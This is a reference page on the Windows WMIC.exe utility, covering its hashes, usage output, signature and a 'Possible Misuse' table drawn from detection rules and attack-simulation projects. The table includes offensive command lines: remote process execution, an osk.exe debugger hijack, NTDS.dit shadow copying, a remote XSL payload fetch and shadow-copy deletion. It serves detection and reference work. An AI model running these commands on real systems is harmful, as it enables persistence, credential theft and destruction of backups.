WMIC.exe
- File Path:
C:\Windows\SysWOW64\wbem\WMIC.exe - Description: WMI Commandline Utility
Hashes
| Type | Hash |
|---|---|
| MD5 | AC7D85F15AF7E892847AE2DB2CCC2B1D |
| SHA1 | 1C38D311C6B2EFA06DD35A08CDAC6EDAFB8C7CAA |
| SHA256 | 969D91FFA56C80F82F893559316F6E1F12DC6C023411C43DAEDC80E8F9AC2652 |
| SHA384 | 1AE6A1E97A9F2815BCFE5BBF7B06D49DF4027514F280A43B65547EA10B3C939326A5193F91AC59F0246D7CA06925BF7E |
| SHA512 | 289A90ABF8593EAC03B82565C0800110687D9F5FF7487B509A41C30ECDFE6EE0400B194C5FBDE3248491090CDA63EEA111A6E7FEF6866D193F2DD14A660C8115 |
| SSDEEP | 6144:9CS+YxhOEYGg86uby54NWCE88uw/OzkYrmdGH5enhqw6MLQ:9CSXm7GuubQ4O88d5hdGH0nhquLQ |
Runtime Data
Usage (stdout):
[global switches] <command>
The following global switches are available:
/NAMESPACE Path for the namespace the alias operate against.
/ROLE Path for the role containing the alias definitions.
/NODE Servers the alias will operate against.
/IMPLEVEL Client impersonation level.
/AUTHLEVEL Client authentication level.
/LOCALE Language id the client should use.
/PRIVILEGES Enable or disable all privileges.
/TRACE Outputs debugging information to stderr.
/RECORD Logs all input commands and output.
/INTERACTIVE Sets or resets the interactive mode.
/FAILFAST Sets or resets the FailFast mode.
/USER User to be used during the session.
/PASSWORD Password to be used for session login.
/OUTPUT Specifies the mode for output redirection.
/APPEND Specifies the mode for output redirection.
/AGGREGATE Sets or resets aggregate mode.
/AUTHORITY Specifies the <authority type> for the connection.
/?[:<BRIEF|FULL>] Usage information.
For more information on a specific global switch, type: switch-name /?
The following alias/es are available in the current role:
ALIAS - Access to the aliases available on the local system
BASEBOARD - Base board (also known as a motherboard or system board) management.
BIOS - Basic input/output services (BIOS) management.
BOOTCONFIG - Boot configuration management.
CDROM - CD-ROM management.
COMPUTERSYSTEM - Computer system management.
CPU - CPU management.
CSPRODUCT - Computer system product information from SMBIOS.
DATAFILE - DataFile Management.
DCOMAPP - DCOM Application management.
DESKTOP - User's Desktop management.
DESKTOPMONITOR - Desktop Monitor management.
DEVICEMEMORYADDRESS - Device memory addresses management.
DISKDRIVE - Physical disk drive management.
DISKQUOTA - Disk space usage for NTFS volumes.
DMACHANNEL - Direct memory access (DMA) channel management.
ENVIRONMENT - System environment settings management.
FSDIR - Filesystem directory entry management.
GROUP - Group account management.
IDECONTROLLER - IDE Controller management.
IRQ - Interrupt request line (IRQ) management.
JOB - Provides access to the jobs scheduled using the schedule service.
LOADORDER - Management of system services that define execution dependencies.
LOGICALDISK - Local storage device management.
LOGON - LOGON Sessions.
MEMCACHE - Cache memory management.
MEMORYCHIP - Memory chip information.
MEMPHYSICAL - Computer system's physical memory management.
NETCLIENT - Network Client management.
NETLOGIN - Network login information (of a particular user) management.
NETPROTOCOL - Protocols (and their network characteristics) management.
NETUSE - Active network connection management.
NIC - Network Interface Controller (NIC) management.
NICCONFIG - Network adapter management.
NTDOMAIN - NT Domain management.
NTEVENT - Entries in the NT Event Log.
NTEVENTLOG - NT eventlog file management.
ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).
OS - Installed Operating System/s management.
PAGEFILE - Virtual memory file swapping management.
PAGEFILESET - Page file settings management.
PARTITION - Management of partitioned areas of a physical disk.
PORT - I/O port management.
PORTCONNECTOR - Physical connection ports management.
PRINTER - Printer device management.
PRINTERCONFIG - Printer device configuration management.
PRINTJOB - Print job management.
PROCESS - Process management.
PRODUCT - Installation package task management.
QFE - Quick Fix Engineering.
QUOTASETTING - Setting information for disk quotas on a volume.
RDACCOUNT - Remote Desktop connection permission management.
RDNIC - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS - Permissions to a specific Remote Desktop connection.
RDTOGGLE - Turning Remote Desktop listener on or off remotely.
RECOVEROS - Information that will be gathered from memory when the operating system fails.
REGISTRY - Computer system registry management.
SCSICONTROLLER - SCSI Controller management.
SERVER - Server information management.
SERVICE - Service application management.
SHADOWCOPY - Shadow copy management.
SHADOWSTORAGE - Shadow copy storage area management.
SHARE - Shared resource management.
SOFTWAREELEMENT - Management of the elements of a software product installed on a system.
SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.
SOUNDDEV - Sound Device management.
STARTUP - Management of commands that run automatically when users log onto the computer system.
SYSACCOUNT - System account management.
SYSDRIVER - Management of the system driver for a base service.
SYSTEMENCLOSURE - Physical system enclosure management.
SYSTEMSLOT - Management of physical connection points including ports, slots and peripherals, and proprietary connections points.
TAPEDRIVE - Tape drive management.
TEMPERATURE - Data management of a temperature sensor (electronic thermometer).
TIMEZONE - Time zone data management.
UPS - Uninterruptible power supply (UPS) management.
USERACCOUNT - User account management.
VOLTAGE - Voltage sensor (electronic voltmeter) data management.
VOLUME - Local storage volume management.
VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA - Per user storage volume quota management.
WMISET - WMI service operational parameters management.
For more information on a specific alias, type: alias /?
CLASS - Escapes to full WMI schema.
PATH - Escapes to full WMI object paths.
CONTEXT - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.
For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
Usage (stderr):
help - Alias not found.
Signature
- Status: Signature verified.
- Serial:
33000000BCE120FDD27CC8EE930000000000BC - Thumbprint:
E85459B23C232DB3CB94C7A56D47678F58E8E51E - Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
File Metadata
- Original Filename: wmic.exe.mui
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.14393.0 (rs1_release.160715-1616)
- Product Version: 10.0.14393.0
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
Possible Misuse
The following table contains possible examples of WMIC.exe being misused. While WMIC.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | godmode_sigma_rule.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | win_susp_logon_explicit_credentials.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | sysmon_suspicious_remote_thread.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | file_event_win_win_shell_write_susp_directory.yml | - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ |
DRL 1.0 |
| sigma | image_load_suspicious_dbghelp_dbgcore_load.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | image_load_wmic_remote_xsl_scripting_dlls.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | image_load_wmi_module_load.yml | - 'C:\Windows\System32\wbem\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_bypass_squiblytwo.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_crime_maze_ransomware.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_html_help_spawn.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_local_system_owner_account_discovery.yml | - Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_mal_blue_mockingbird.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_applications_spawning_wmi_commandline.yml | - Image: '\wbem\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_applications_spawning_wmi_commandline.yml | - OriginalFileName: 'wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml | - Image\|endswith: '\wbem\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml | - OriginalFileName: 'wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml | - Image\|endswith: '\wbem\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_shell.yml | - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ |
DRL 1.0 |
| sigma | proc_creation_win_office_spawning_wmi_commandline.yml | - Image\|endswith: '\wbem\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_outlook_shell.yml | - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ |
DRL 1.0 |
| sigma | proc_creation_win_renamed_binary.yml | - 'wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_renamed_binary.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_renamed_binary_highly_relevant.yml | - 'wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_renamed_binary_highly_relevant.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_shadow_copies_creation.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_shadow_copies_deletion.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_suspicious_ad_reco.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_eventlog_clear.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_recon.yml | - '\WMIC.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_servu_process_pattern.yml | - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ |
DRL 1.0 |
| sigma | proc_creation_win_susp_shell_spawn_by_java.yml | - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ |
DRL 1.0 |
| sigma | proc_creation_win_susp_shell_spawn_by_java_keytool.yml | - '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_spoolsv_child_processes.yml | - \wmic.exe |
DRL 1.0 |
| sigma | proc_creation_win_susp_wmi_execution.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_webshell_detection.yml | Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_wmic_reconnaissance.yml | Image\|endswith: \WMIC.exe |
DRL 1.0 |
| sigma | proc_creation_win_wmic_remote_service.yml | Image\|endswith: \WMIC.exe |
DRL 1.0 |
| sigma | proc_creation_win_wmic_remove_application.yml | Image\|endswith: \WMIC.exe |
DRL 1.0 |
| sigma | proc_creation_win_xsl_script_processing.yml | - Image\|endswith: '\wmic.exe' |
DRL 1.0 |
| sigma | proc_creation_win_xsl_script_processing.yml | - WMIC.exe FP depend on scripts and administrative methods used in the monitored environment. |
DRL 1.0 |
| LOLBAS | Wmic.yml | Name: Wmic.exe |
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| LOLBAS | Wmic.yml | - Command: wmic.exe process call create "c:\ads\file.txt:program.exe" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe process call create calc |
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| LOLBAS | Wmic.yml | - Command: wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe /node:"192.168.0.1" process call create "evil.exe" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl" |
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| LOLBAS | Wmic.yml | - Command: wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl" |
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| LOLBAS | Wmic.yml | - Path: C:\Windows\System32\wbem\wmic.exe |
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| LOLBAS | Wmic.yml | - Path: C:\Windows\SysWOW64\wbem\wmic.exe |
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| LOLBAS | Wmic.yml | - IOC: DotNet CLR libraries loaded into wmic.exe |
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| LOLBAS | Wmic.yml | - IOC: DotNet CLR Usage Log - wmic.exe.log |
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| atomic-red-team | T1047.md | This test uses wmic.exe to execute a process on the local host. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1047.md | This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1047.md | This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1069.001.md | Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1069.001.md | wmic.exe group get name | MIT License. © 2018 Red Canary |
| atomic-red-team | T1220.md | | wmic_command | WMI command to execute using wmic.exe | String | process list| | MIT License. © 2018 Red Canary |
| atomic-red-team | T1490.md | wmic.exe shadowcopy delete | MIT License. © 2018 Red Canary |
| atomic-red-team | T1518.001.md | wmic.exe /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | MIT License. © 2018 Red Canary |
Additional Info*
*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.
wmic
Displays WMI information inside an interactive command shell.
Syntax
wmic </parameter>
Sub-commands
The following sub-commands are available at all times:
| Sub-command | Description |
|---|---|
| class | Escapes from the default alias mode of WMIC to access classes in the WMI schema directly. |
| path | Escapes from the default alias mode of WMIC to access instances in the WMI schema directly. |
| context | Displays the current values of all global switches. |
| [quit | exit] | Exits the WMIC command shell. |
Examples
To display the current values of all global switches, type:
wmic context
Output similar to the following displays:
NAMESPACE : root\cimv2
ROLE : root\cli
NODE(S) : BOBENTERPRISE
IMPLEVEL : IMPERSONATE
[AUTHORITY : N/A]
AUTHLEVEL : PKTPRIVACY
LOCALE : ms_409
PRIVILEGES : ENABLE
TRACE : OFF
RECORD : N/A
INTERACTIVE : OFF
FAILFAST : OFF
OUTPUT : STDOUT
APPEND : STDOUT
USER : N/A
AGGREGATE : ON
To change the language ID used by the command line to English (locale ID 409), type:
wmic /locale:ms_409
Additional References
MIT License. Copyright (c) 2020-2021 Strontic.